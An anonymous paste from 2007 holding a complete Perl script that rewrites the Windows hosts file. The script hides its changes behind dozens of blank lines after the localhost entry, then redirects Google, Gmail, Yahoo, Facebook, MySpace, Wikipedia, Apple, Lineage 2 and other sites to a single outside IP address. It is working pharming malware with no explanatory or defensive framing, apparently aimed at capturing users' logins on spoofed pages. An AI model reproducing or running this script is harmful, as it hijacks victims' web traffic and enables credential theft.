Public feed #723317

Anonymous

public text v1 · immutable
Raw Edit
·published 2007-10-02 18:26 UTC
rendered paste body
# Specify the file
$file = "C:/windows/system32/drivers/etc/hosts";

#Open the file and read data
open (FILE, "<$file") or die "Can't open $file: $!\n";
@lines = <FILE>;
close FILE;

#Open same file for writing, reusing STDOUT
open (STDOUT, ">$file") or die "Can't open $file: $!\n";

#Substitution
for ( @lines ) {
    s/localhost/localhost\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n72.32.144.237	google.com\n72.32.144.237	www.google.com\n72.32.144.237		yahoo.com\n72.32.144.237	www.yahoo.com\n72.32.144.237		aol.com\n72.32.144.237		www.aol.com\n72.32.144.237	gmail.com\n72.32.144.237	www.gmail.com\n72.32.144.237		lineage2.com\n72.32.144.237	www.lineage2.com\n72.32.144.237 www.myspace.com\n72.32.144.237	myspace.com\n72.32.144.237	www.youtube.com\n72.32.144.237	youtube.com\n72.32.144.237	facebook.com\n72.32.144.237	www.facebook.com\n72.32.144.237	wikipedia.org\n72.32.144.237		www.wikipedia.org\n72.32.144.237	digg.com\n72.32.144.237		www.digg.com\n72.32.144.237	apple.com\n72.32.144.237	www.apple.com\n72.32.144.237		mapquest.com\n72.32.144.237	www.mapquest.com/;
    print;
}

close STDOUT;